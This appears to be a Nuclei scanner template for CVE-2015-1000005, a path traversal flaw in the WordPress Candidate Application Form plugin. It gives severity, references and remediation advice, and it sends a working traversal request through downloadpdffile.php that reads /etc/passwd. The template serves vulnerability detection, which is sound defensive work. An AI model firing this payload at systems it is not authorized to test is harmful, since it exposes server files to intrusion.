id: CVE-2015-1000005

info:
  name: WordPress Candidate Application Form <= 1.3 - Local File Inclusion
  author: dhiyaneshDK
  severity: high
  description: |
    WordPress Candidate Application Form <= 1.3 is susceptible to arbitrary file downloads because the code in downloadpdffile.php does not do any sanity checks.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Update to the latest version of the plugin.
  reference:
    - https://wpscan.com/vulnerability/446233e9-33b3-4024-9b7d-63f9bb1dafe0
    - https://nvd.nist.gov/vuln/detail/CVE-2015-1000005
    - http://www.vapidlabs.com/advisory.php?v=142
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-1000005
    cwe-id: CWE-22
    epss-score: 0.08833
    epss-percentile: 0.94524
    cpe: cpe:2.3:a:candidate-application-form_project:candidate-application-form:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: candidate-application-form_project
    product: candidate-application-form
    framework: wordpress
  tags: cve2015,cve,wpscan,wordpress,wp-plugin,lfi,wp,candidate-application-form_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d990507889c2a9637f93316592f9e141fb77b08fdc9f2bff715e2ccff15d21d4022018cc943a7dd9292a82bf4158542d989cd616b15523c32e854f1711eb13404fd4:922c64590222798bb761d5b6d8e72950